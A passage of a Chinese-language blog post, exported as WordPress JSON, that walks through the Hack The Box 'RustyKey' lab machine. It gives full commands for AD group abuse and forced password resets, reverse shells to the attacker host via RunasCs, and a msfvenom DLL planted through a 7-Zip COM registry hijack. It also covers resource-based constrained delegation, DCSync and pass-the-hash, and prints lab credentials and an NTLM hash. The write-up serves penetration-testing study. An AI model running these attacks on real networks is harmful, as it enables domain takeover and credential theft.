\/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u7528\u6237\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u57df\uff1a<code>rustykey.htb<\/code><\/li>\n<li>\u7528\u6237\u540d\uff1a<code>IT-Computer3$<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>Rusty88!<\/code><\/li>\n<\/ul>\n<p>\u968f\u540e\uff0c\u5229\u7528\u8be5\u51ed\u636e\u83b7\u53d6<code>TGT<\/code>\u7968\u636e\uff0c\u5e76\u6dfb\u52a0<code>IT-Computer3<\/code>\u7528\u6237\u81ea\u8eab\u5230<code>HelpDesk<\/code>\u7528\u6237\u7ec4\u5185\uff1a<\/p>\n<pre><code class=\"language-shell\">impacket-getTGT rustykey.htb\/IT-Computer3:'Rusty88!' -dc-ip 10.10.11.75\nexport KRB5CCNAME=\/home\/megumin\/Documents\/pentest_notes\/rustykey\/IT-Computer3.ccache\nbloodyAD -d rustykey.htb -u \"IT-Computer3$\" -k -p \"Rusty88!\" --host dc.rustykey.htb add groupMember HELPDESK \"IT-Computer3$\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751683531885-d749be5f-b79c-4cf9-bdcf-68a250143cd9.png\" alt=\"\" \/><\/p>\n<p>\u6dfb\u52a0\u6210\u529f\uff01\u4e0b\u4e00\u6b65\uff0c\u5c06<code>IT<\/code>\u548c<code>Support<\/code>\u7528\u6237\u7ec4\u79fb\u51fa<code>Protected Users<\/code>\u7cfb\u7edf\u5b89\u5168\u7ec4\uff1a<\/p>\n<pre><code class=\"language-shell\">bloodyAD -d rustykey.htb -u \"IT-Computer3$\" -k -p 'Rusty88!' --host dc.rustykey.htb remove groupMember \"CN=PROTECTED OBJECTS,CN=USERS,DC=RUSTYKEY,DC=HTB\" \"CN=SUPPORT,CN=USERS,DC=RUSTYKEY,DC=HTB\"\nbloodyAD -d rustykey.htb -u \"IT-Computer3$\" -k -p 'Rusty88!' --host dc.rustykey.htb remove groupMember \"CN=PROTECTED OBJECTS,CN=USERS,DC=RUSTYKEY,DC=HTB\" \"CN=IT,CN=USERS,DC=RUSTYKEY,DC=HTB\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751684073167-00fbbed3-aa91-485c-b54c-ff91d44ca6b5.png\" alt=\"\" \/><\/p>\n<p>\u79fb\u9664\u6210\u529f\uff01\u63a5\u4e0b\u6765\uff0c\u5229\u7528<code>ForceChangePassword<\/code>\u6743\u9650\u66f4\u6539\u4e24\u4e2a\u7ec4\u5185\u5171<code>3<\/code>\u4e2a\u7528\u6237\u7684\u5bc6\u7801\uff1a<\/p>\n<pre><code class=\"language-shell\">bloodyAD -d rustykey.htb -u \"IT-Computer3$\" -k -p 'Rusty88!' --host dc.rustykey.htb set password ee.reed Asd310056\nbloodyAD -d rustykey.htb -u \"IT-Computer3$\" -k -p 'Rusty88!' --host dc.rustykey.htb set password gg.anderson Asd310056\nbloodyAD -d rustykey.htb -u \"IT-Computer3$\" -k -p 'Rusty88!' --host dc.rustykey.htb set password bb.morgan Asd310056<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751684213711-6a52488f-b04d-40ed-aea4-54ff130cd827.png\" alt=\"\" \/><\/p>\n<p>\u66f4\u6539\u5b8c\u6bd5\u540e\uff0c\u4f7f\u7528<code>impacket-getTGT<\/code>\u5de5\u5177\u9010\u4e2a\u83b7\u53d6\u7528\u6237<code>TGT<\/code>\u7968\u636e\uff1a<\/p>\n<pre><code class=\"language-shell\">impacket-getTGT rustykey.htb\/ee.reed:\"Asd310056\" -dc-ip 10.10.11.75\nimpacket-getTGT rustykey.htb\/bb.morgan:\"Asd310056\" -dc-ip 10.10.11.75<\/code><\/pre>\n<p>\u53d1\u73b0\u59cb\u7ec8\u65e0\u6cd5\u83b7\u53d6<code>gg.anderson<\/code>\u7528\u6237\u7684\u7968\u636e\u3002<\/p>\n<p>\u6700\u540e\u4e00\u6b65\uff0c\u4f7f\u7528<code>evil-winrm<\/code>\u5de5\u5177\uff0c\u5c1d\u8bd5\u901a\u8fc7<code>ee.reed<\/code>\u548c<code>bb.morgan<\/code>\u7528\u6237\u767b\u5f55<code>WinRM<\/code>\uff0c\u4f46\u53d1\u73b0\u53ea\u80fd\u767b\u5f55<code>bb.morgan<\/code>\u7528\u6237\uff1a<\/p>\n<pre><code class=\"language-shell\">export KRB5CCNAME=\/home\/megumin\/Documents\/pentest_notes\/rustykey\/bb.morgan.ccache\nevil-winrm -i dc.rustykey.htb --realm RUSTYKEY.HTB<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751684933898-cad5d148-f513-48d2-ad91-037e0818d318.png\" alt=\"\" \/><\/p>\n<p><strong>\u767b\u5f55\u6210\u529f\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u76ee\u5f55\u4fe1\u606f\u6536\u96c6<\/h2>\n<p>\u767b\u5f55<code>bb.morgan<\/code>\u7528\u6237\u540e\uff0c\u8fdb\u884c\u76ee\u5f55\u4fe1\u606f\u6536\u96c6\uff0c\u5728<code>C:\\Users\\bb.morgan\\Desktop\\<\/code>\u76ee\u5f55\u4e0b\u53d1\u73b0\u4e86\u540d\u4e3a<code>internal.pdf<\/code>\u7684\u6587\u4ef6\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751685112474-83f43a89-dbfc-47e7-bdf1-ce47de20fe19.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u5c06\u5176\u4e0b\u8f7d\u5230\u672c\u5730\u67e5\u770b\uff1a<\/p>\n<pre><code class=\"language-shell\">download internal.pdf<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751685203454-29f9d9e1-b745-409a-a2ac-fe8a25109a85.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0<code>PDF<\/code>\u6587\u4ef6\u5185\u8bb0\u5f55\u7684\u8c8c\u4f3c\u662f\u4e00\u5c01\u7ed9<code>Support<\/code>\u7ec4\u5458\u5de5\u7684\u4fe1\u4ef6\uff0c\u4fe1\u4ef6\u4e2d\u79f0\uff1a\u4f5c\u4e3a\u65b0\u53d1\u5e03<code>IT<\/code>\u67b6\u6784\u652f\u6301\u5de5\u5177\u7684\u4e00\u90e8\u5206\uff0c\u6269\u5c55\u8bbf\u95ee\u6743\u9650\u5df2\u7ecf\u88ab\u4e34\u65f6\u6027\u5730\u6388\u6743\uff0c<strong><span style=\"color: #df2a3f;\">\u7528\u4e8e\u5728\u6574\u4e2a\u5de5\u4f5c\u7ad9\u5185\u8fdb\u884c\u5bf9\u6587\u4ef6\u538b\u7f29\u6253\u5305\u529f\u80fd\u7684\u8c03\u8bd5\u548c\u95ee\u9898\u68c0\u67e5<\/span><\/strong>\uff1b\u8fd9\u4e3b\u8981\u5c06\u4f1a\u5e2e\u52a9\u89e3\u51b3\u7531<code>Finance<\/code>\u548c<code>IT<\/code>\u7ec4\u62a5\u544a\u7684\uff0c\u5173\u4e8e\u6587\u4ef6\u538b\u7f29\u548c\u89e3\u538b\u95ee\u9898\u7684\u6d41\u6c34\u7ebf\u5de5\u5355\u3002<\/p>\n<p>\u6839\u636e\u83b7\u53d6\u7684<code>BloodHound<\/code>\u57df\u5185\u6570\u636e\uff0c<code>Support<\/code>\u7ec4\u5185\u53ea\u6709<code>ee.reed<\/code>\u4e00\u4e2a\u7528\u6237\u3002<\/p>\n<p>\u5c1d\u8bd5\u5217\u51fa<code>Program Files<\/code>\u5185\u7684\u5e94\u7528\u7a0b\u5e8f\u76ee\u5f55\uff0c\u53d1\u73b0\u76ee\u6807\u5b89\u88c5\u4e86<code>7-Zip<\/code>\u538b\u7f29\u5de5\u5177\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751685867960-960501e3-b17d-4484-8672-5feb6e2f5e9a.png\" alt=\"\" \/><\/p>\n<p>\u8054\u60f3\u5230\u4e4b\u524d\u5728<code>SMB<\/code>\u670d\u52a1\u7684\u914d\u7f6e\u6587\u4ef6\u4e2d\u53d1\u73b0\u7684\u6ce8\u518c\u8868\u9879\u548c<code>SDDL<\/code>\u6743\u9650\u4fe1\u606f\uff0c\u51b3\u5b9a\u79fb\u52a8\u81f3<code>ee.reed<\/code>\u7528\u6237\u540e\uff0c\u518d\u8fdb\u884c\u66f4\u8be6\u7ec6\u7684\u4fe1\u606f\u6536\u96c6\u3002<\/p>\n<h2>\u79fb\u52a8\u81f3ee.reed\u7528\u6237<\/h2>\n<p>\u7531\u4e8e\u5728\u6e17\u900f\u6d4b\u8bd5\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u53d1\u73b0\u65e0\u6cd5\u6b63\u5e38\u767b\u5f55<code>ee.reed<\/code>\u7528\u6237\uff0c\u56e0\u6b64\u6211\u4eec\u5c1d\u8bd5\u4f7f\u7528<code>RunasCs<\/code>\u5de5\u5177\uff0c\u76f4\u63a5\u63d0\u4f9b\u8be5\u7528\u6237\u5bc6\u7801\uff0c\u5efa\u7acb\u4e00\u4e2a\u53cd\u5f39<code>PowerShell<\/code>\u8fde\u63a5\uff1a<a href=\"https:\/\/github.com\/antonioCoco\/RunasCs\/releases\/download\/v1.5\/RunasCs.zip\" target=\"_blank\"  rel=\"nofollow\" >antonioCoco\/RunasCs: RunasCs - Csharp and open version of windows builtin runas.exe<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751686162741-31c99421-ed8e-4ea3-8850-c677c833e042.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u4e0b\u8f7d\u538b\u7f29\u5305\uff0c\u5c06<code>RunasCs.exe<\/code>\u89e3\u538b\u540e\uff0c\u4f7f\u7528<code>evil-winrm<\/code>\u4e0a\u4f20\u81f3\u76ee\u6807\uff1a<\/p>\n<pre><code class=\"language-shell\">upload RunasCs.exe<\/code><\/pre>\n<p>\u4e0a\u4f20\u5b8c\u6bd5\u540e\uff0c\u5728\u672c\u5730<code>443<\/code>\u7aef\u53e3\u6253\u5f00<code>netcat<\/code>\u76d1\u542c\uff0c\u968f\u540e\u6267\u884c\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-powershell\">.\\RunasCs.exe ee.reed Asd310056 powershell.exe -r 10.10.14.2:443 -d rustykey.htb -l 2<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751687008739-b5748198-3b45-4b41-87dc-2057633e31f4.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01<\/strong><\/p>\n<h2>\u4fee\u6539\u6ce8\u518c\u8868\u5185\u670d\u52a1DLL\u8def\u5f84\u914d\u7f6e<\/h2>\n<p>\u79fb\u52a8\u81f3<code>ee.reed<\/code>\u7528\u6237\u540e\uff0c\u6839\u636e\u4e4b\u524d\u5728<code>GptTmpl.inf<\/code>\u6587\u4ef6\u5185\u53d1\u73b0\u7684\u6ce8\u518c\u8868\u9879\u4fe1\u606f\uff0c\u901a\u8fc7<code>reg<\/code>\u5de5\u5177\u8fdb\u884c\u67e5\u9605\u679a\u4e3e\uff1a<\/p>\n<pre><code class=\"language-powershell\">reg query \"HKLM\\SOFTWARE\\Classes\\CLSID\\{23170F69-40C1-278A-1000-000100020000}\" \/s<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751687508012-5f3acf2a-10be-4c16-9b6d-04a808645e1a.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8be5\u6ce8\u518c\u8868\u9879\u4e0b\u5b58\u5728\u5b50\u9879<code>InprocServer32<\/code>\uff0c\u5176\u9ed8\u8ba4\u952e\u503c\u4e3a<code>7-Zip<\/code>\u6269\u5c55\u652f\u6301\u5e93\u7684\u7edd\u5bf9\u8def\u5f84\uff0c\u63a8\u6d4b<code>PDF<\/code>\u5168\u5458\u4fe1\u5185\u63cf\u8ff0\u7684\u6587\u4ef6\u6253\u5305\u670d\u52a1\u4f1a\u67e5\u8be2\u8be5\u952e\u503c\u83b7\u53d6<code>DLL<\/code>\u6587\u4ef6\u7684\u8def\u5f84\u3002<\/p>\n<p>\u76f4\u63a5\u901a\u8fc7<code>msfvenom<\/code>\u751f\u6210\u6076\u610f<code>DLL<\/code>\uff0c\u5e76\u542f\u52a8<code>Metasploit<\/code>\u76d1\u542c\uff1a<\/p>\n<pre><code class=\"language-shell\">msfvenom -p windows\/x64\/powershell_reverse_tcp LHOST=10.10.14.6 LPORT=443 -f dll -o 7-zip.dll<\/code><\/pre>\n<p>\u968f\u540e\u5728\u672c\u5730<code>80<\/code>\u7aef\u53e3\u542f\u52a8<code>SimpleHTTPServer<\/code>\uff0c\u4e0b\u8f7d\u6076\u610f<code>DLL<\/code>\u6587\u4ef6\u5230\u9776\u673a\uff0c\u5e76\u4fee\u6539<code>InprocServer32<\/code>\u7684\u9ed8\u8ba4\u952e\u503c\uff1a<\/p>\n<pre><code class=\"language-powershell\">curl -Uri http:\/\/10.10.14.6\/7-zip.dll -OutFile C:\\Users\\Public\\7-zip.dll\nreg add \"HKLM\\SOFTWARE\\Classes\\CLSID\\{23170F69-40C1-278A-1000-000100020000}\\InprocServer32\" \/ve \/t REG_SZ \/f \/d \"C:\\Users\\Public\\7-zip.dll\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1751691546370-5bdafc9b-1384-4b0c-b891-60b31c6a3ae2.png\" alt=\"\" \/><\/p>\n<p>\u7b49\u5f85\u4e00\u4f1a\u540e\uff0c\u6210\u529f\u63a5\u6536\u5230\u53cd\u5f39<code>Shell<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1752136311168-7b5971ba-5468-4764-86de-f3c43c7941db.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u79fb\u52a8\u81f3<code>mm.turner<\/code>\u7528\u6237\uff01<\/p>\n<h2>\u5229\u7528AllowedToAct\u8fdb\u884c\u59d4\u6d3e\u653b\u51fb<\/h2>\n<p>\u79fb\u52a8\u81f3<code>mm.turner<\/code>\u7528\u6237\u540e\uff0c\u518d\u6b21\u67e5\u770b<code>BloodHound<\/code>\u6570\u636e\u5206\u6790\uff0c\u53d1\u73b0\u5f53\u524d\u7528\u6237\u6240\u5c5e\u7684\u7528\u6237\u7ec4<code>DelegationManager<\/code>\u5bf9\u673a\u5668\u8d26\u6237<code>DC<\/code>\u5177\u6709<code>AddAllowedToAct<\/code>\u6743\u9650\uff0c\u5373\u5f53\u524d\u7528\u6237<code>mm.turner<\/code>\u53ef\u4ee5\u4fee\u6539\u673a\u5668\u8d26\u6237\u5bf9\u8c61<code>DC<\/code>\u7684<code>msDS-AllowedToActOnBehalfOfOtherIdentity<\/code>\u5b89\u5168\u7ec4\u5c5e\u6027\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1752137861125-34441d7c-02aa-4d71-9c28-80e65b915185.png\" alt=\"\" \/><\/p>\n<blockquote><p>\u6309\u7167\u5fae\u8f6f\u5b98\u65b9\u6587\u6863\u7684\u63cf\u8ff0\uff0c<code>msDS-AllowedToActOnBehalfOfOtherIdentity<\/code>\u5c5e\u6027\u7684\u4f5c\u7528\u662f\u5b9a\u4e49\u4e00\u4e2a\u5b89\u5168\u7ec4\uff0c\u7528\u4e8e\u786e\u8ba4\u53d1\u8d77\u8bf7\u6c42\u7684\u7528\u6237\u662f\u5426\u5177\u6709\u201c\u4ee3\u8868\u5f53\u524d\u7528\u6237\u6240\u8fd0\u884c\u7684\u670d\u52a1\uff0c\u6267\u884c\u5176\u5b83\u7528\u6237\u8eab\u4efd\u6807\u8bc6\u201d\u7684\u6743\u9650\u3002\u901a\u8fc7\u4fee\u6539\u8be5\u5b89\u5168\u7ec4\u5c5e\u6027\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u6307\u5b9a\u7528\u6237\uff0c\u8fdb\u884c\u57fa\u4e8e\u8d44\u6e90\u7684\u7ea6\u675f\u59d4\u6d3e\u653b\u51fb\u3002<\/p><\/blockquote>\n<p>\u901a\u8fc7\u8054\u7f51\u67e5\u8be2\uff0c\u6210\u529f\u627e\u5230\u5173\u4e8e\u8be5\u6743\u9650\u7684\u5229\u7528\u65b9\u5f0f\uff1a<a href=\"https:\/\/bloodhound.specterops.io\/resources\/edges\/allowed-to-act\" target=\"_blank\"  rel=\"nofollow\" >AllowedToAct - SpecterOps<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1752138695485-a1edb1f2-cbdf-4686-9d04-7398c2cf4349.png\" alt=\"\" \/><\/p>\n<p>\u6839\u636e\u6587\u7ae0\u63cf\u8ff0\uff0c\u7ed3\u5408\u76ee\u6807\u57df\u60c5\u51b5\uff0c\u5927\u81f4\u653b\u51fb\u6b65\u9aa4\u5982\u4e0b\uff1a<\/p>\n<ol>\n<li>\u5229\u7528<code>PowerShell<\/code>\u7684\u5b89\u5168\u63cf\u8ff0\u7b26\u76f8\u5173\u547d\u4ee4\uff0c\u6784\u5efa\u5173\u4e8e<code>IT-Computer3<\/code>\u7684\u5b89\u5168\u63cf\u8ff0\u7b26\uff0c\u6743\u9650\u5e94\u4e3a\u5141\u8bb8\u5b8c\u5168\u63a7\u5236\uff1b<\/li>\n<li>\u4e0a\u4f20<code>PowerView<\/code>\u5de5\u5177\uff0c\u5229\u7528\u811a\u672c\u7684<code>Get-DomainComputer<\/code>\u548c<code>Set-DomainObject<\/code>\u529f\u80fd\uff0c\u8bbe\u7f6e<code>DC<\/code>\u53ca\u5176\u8d26\u6237\u7684<code>msDS-AllowedToActOnBehalfOfOtherIdentity<\/code>\u5c5e\u6027\uff1b<\/li>\n<li>\u5229\u7528<code>Rubeus<\/code>\u5de5\u5177\u7684<code>s4u<\/code>\u6a21\u5757\u8fdb\u884c\u57fa\u4e8e\u8d44\u6e90\u7684\u7ea6\u675f\u59d4\u6d3e\u653b\u51fb\uff0c\u6a21\u62df\u57df\u7ba1\u7406\u5458\u6743\u9650\u4ee4\u724c\uff0c\u5e76\u5f97\u5230\u7ba1\u7406\u5458\u8eab\u4efd\u7684<code>SMB<\/code>\u670d\u52a1\u7968\u636e\u3002<\/li>\n<\/ol>\n<p>\u4e0b\u9762\u8fdb\u884c\u5229\u7528\u3002<\/p>\n<p>\u9996\u5148\u4e0a\u4f20<code>PowerView<\/code>\u548c<code>Rubeus<\/code>\u5de5\u5177\uff08\u5229\u7528\u4e4b\u524d\u6253\u5f00\u7684<code>bb.morgan<\/code>\u8eab\u4efd<code>WinRM<\/code>\u7ba1\u7406\u4f1a\u8bdd\uff09\uff1a<\/p>\n<pre><code class=\"language-powershell\">cd C:\\Windows\\Temp\\\nupload ..\/..\/..\/..\/..\/usr\/share\/windows-resources\/powersploit\/Recon\/PowerView.ps1\nupload ..\/..\/..\/..\/..\/usr\/share\/windows-resources\/rubeus\/Rubeus.exe<\/code><\/pre>\n<p>\u7b2c\u4e8c\u6b65\uff0c\u5229\u7528<code>PowerView<\/code>\u811a\u672c\u6784\u5efa\u5173\u4e8e<code>IT-Computer3<\/code>\u7684\u5b89\u5168\u63cf\u8ff0\u7b26\uff0c\u5185\u5bb9\u4e3a\u5141\u8bb8\u8be5\u7528\u6237\u8fdb\u884c\u5b8c\u5168\u63a7\u5236\uff1a<\/p>\n<pre><code class=\"language-powershell\">$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList \"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3316070415-896458127-4139322052-1125)\"\n$SDBytes = New-Object byte[] ($SD.BinaryLength)\n$SD.GetBinaryForm($SDBytes, 0)<\/code><\/pre>\n<p>\u7b2c\u4e09\u6b65\uff0c\u5bfc\u5165<code>PowerView<\/code>\u811a\u672c\uff0c\u4fee\u6539<code>DC<\/code>\u673a\u5668\u8d26\u6237\u7684\u76ee\u6807\u5c5e\u6027\uff1a<\/p>\n<pre><code class=\"language-powershell\">Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted\nImport-Module .\\PowerView.ps1\nGet-DomainComputer DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1752139674430-5bfdcb9f-0599-4073-9a0b-17164620c485.png\" alt=\"\" \/><\/p>\n<p>\u4fee\u6539\u6210\u529f\uff01<\/p>\n<p>\u63a5\u4e0b\u6765\uff0c\u4f7f\u7528<code>Rubeus<\/code>\u5de5\u5177\u8fdb\u884c\u7ea6\u675f\u59d4\u6d3e\u653b\u51fb\uff1a<\/p>\n<pre><code class=\"language-powershell\">.\\Rubeus.exe hash \/password:Rusty88!\n.\\Rubeus.exe s4u \/user:\"IT-Computer3`$\" \/rc4:B52B582F02F8C0CD6320CD5EAB36D9C6 \/impersonateuser:backupadmin \/msdsspn:ldap\/DC.rustykey.htb \/ptt<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1752140369253-fa0efa18-f8f3-4677-8c6f-99716d39ff50.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u83b7\u53d6\u5177\u6709<code>backupadmin<\/code>\u8eab\u4efd\u7684<code>LDAP<\/code>\u670d\u52a1\u7968\u636e\uff01\uff08\u7531\u4e8e<code>Administrator<\/code>\u6743\u9650\u7968\u636e\u65e0\u6cd5\u83b7\u53d6\uff0c\u8fd9\u91cc\u8f6c\u800c\u83b7\u53d6<code>backupadmin<\/code>\u8eab\u4efd\u7968\u636e\uff0c\u5229\u7528\u5176\u5728<code>Enterprise Admins<\/code>\u7528\u6237\u7ec4\u5185\u7684\u6743\u9650\uff0c\u6267\u884c<code>DCSync<\/code>\u653b\u51fb\u83b7\u53d6\u57df\u7ba1\u7406\u5458\u54c8\u5e0c\uff09<\/p>\n<p>\u5c06<code>Base64<\/code>\u683c\u5f0f\u7684\u7968\u636e\u89e3\u7801\u4fdd\u5b58\u5230\u672c\u5730\uff0c\u968f\u540e\u4f7f\u7528<code>impacket-ticketConverter<\/code>\u5de5\u5177\u8f6c\u4e3a<code>CCache<\/code>\u683c\u5f0f\u670d\u52a1\u7968\u636e\uff1a<\/p>\n<pre><code class=\"language-shell\">impacket-ticketConverter .\/ldap_backupadmin-dc_rustykey_htb.kirbi .\/ldap_backupadmin-dc_rustykey_htb.ccache<\/code><\/pre>\n<p>\u63a5\u7740\u5229\u7528<code>backupadmin<\/code>\u7528\u6237\u8eab\u4efd\u8fdb\u884c<code>DCSync<\/code>\u653b\u51fb\uff1a<\/p>\n<pre><code class=\"language-shell\">impacket-ticketConverter .\/ldap_backupadmin-dc_rustykey_htb.kirbi .\/ldap_backupadmin-dc_rustykey_htb.ccache\nexport KRB5CCNAME=\/home\/megumin\/Documents\/pentest_notes\/rustykey\/ldap_backupadmin-dc_rustykey_htb.ccache\nimpacket-secretsdump rustykey.htb\/backupadmin@dc.rustykey.htb -k -no-pass -just-dc-user Administrator<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1752141132567-0de87312-593d-42b7-b197-236eb406c4df.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u83b7\u5f97\u7528\u6237\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u57df\uff1a<code>rustykey.htb<\/code><\/li>\n<li>\u7528\u6237\u540d\uff1a<code>Administrator<\/code><\/li>\n<li><code>NTLM<\/code>\u54c8\u5e0c\uff1a<code>f7a351e12f70cc177a1d5bd11b28ac26<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u7533\u8bf7<code>TGT<\/code>\u7968\u636e\uff1a<\/p>\n<pre><code class=\"language-shell\">impacket-getTGT rustykey.htb\/Administrator@dc.rustykey.htb -hashes aad3b435b51404eeaad3b435b51404ee:f7a351e12f70cc177a1d5bd11b28ac26<\/code><\/pre>\n<p>\u968f\u540e\u767b\u5f55<code>WinRM<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">export KRB5CCNAME=\/home\/megumin\/Documents\/pentest_notes\/rustykey\/Administrator@dc.rustykey.htb.ccache\nevil-winrm -i dc.rustykey.htb --realm RUSTYKEY.HTB<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1752141438735-f123949a-52db-4112-b7d6-ef54071800c7.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.129.168.11\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09 \u63d0\u4f9b\u51ed\u636e\uff1arr.parker \/ 8#t5HE8L!W3A \u4fe1\u606f &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[18,13],"tags":[],"class_list":["post-311","post","type-post","status-publish","format-standard","hentry","category-htb_season_8","category-windows_machine"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/311","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=311"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/311\/revisions"}],"predecessor-version":[{"id":312,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/311\/revisions\/312"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=311"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=311"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=311"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}